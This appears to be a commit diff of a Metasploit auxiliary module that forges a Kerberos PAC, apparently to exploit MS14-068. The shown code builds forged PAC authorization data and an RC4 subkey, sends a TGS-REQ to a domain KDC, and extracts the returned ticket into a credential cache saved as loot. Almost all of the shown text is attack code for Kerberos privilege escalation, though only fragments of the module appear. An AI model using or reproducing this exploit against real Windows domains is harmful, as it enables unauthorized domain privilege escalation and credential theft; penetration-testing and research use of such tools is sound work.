8
8
9
9
class Metasploit4 < Msf ::Auxiliary
10
10
11
+ include Msf ::Auxiliary ::Report
11
12
include Msf ::Kerberos ::Client
12
13
13
14
def initialize ( info = { } )
@@ -51,7 +52,7 @@ def initialize(info = {})
51
52
52
53
def run
53
54
print_status ( "#{ peer } - Connecting with the KDC..." )
54
- connect ( :rhost => datastore [ 'RHOST' ] )
55
+ connect
55
56
56
57
unicode_password = Rex ::Text . to_unicode ( datastore [ 'PASSWORD' ] )
57
58
password_digest = OpenSSL ::Digest . digest ( 'MD4' , unicode_password )
@@ -101,6 +102,7 @@ def run
101
102
)
102
103
103
104
auth_data = build_pac_authorization_data ( pac : pac )
105
+ sub_key = build_subkey ( subkey_type : Rex ::Proto ::Kerberos ::Crypto ::RC4_HMAC )
104
106
105
107
print_status ( "#{ peer } - Sending TGS-REQ..." )
106
108
@@ -111,7 +113,8 @@ def run
111
113
session_key : session_key ,
112
114
ticket : ticket ,
113
115
auth_data : auth_data ,
114
- pa_data : pre_auth
116
+ pa_data : pre_auth ,
117
+ subkey : sub_key
115
118
)
116
119
117
120
unless res . msg_type == Rex ::Proto ::Kerberos ::Model ::TGS_REP
@@ -121,11 +124,10 @@ def run
121
124
122
125
print_good ( "#{ peer } - Valid TGS-Response, extracting credentials..." )
123
126
124
- cache = extract_kerb_creds ( res , 'AAAABBBBCCCCDDDD' )
127
+ cache = extract_kerb_creds ( res , sub_key . value )
125
128
126
- f = File . new ( '/tmp/cache.ticket' , 'wb' )
127
- f . write ( cache . encode )
128
- f . close
129
+ path = store_loot ( 'windows.kerberos' , 'application/octet-stream' , rhost , cache . encode )
130
+ print_good ( "#{ peer } - MIT Credential Cache saved on #{ path } " )
129
131
end
130
132
end
131
133
0 commit comments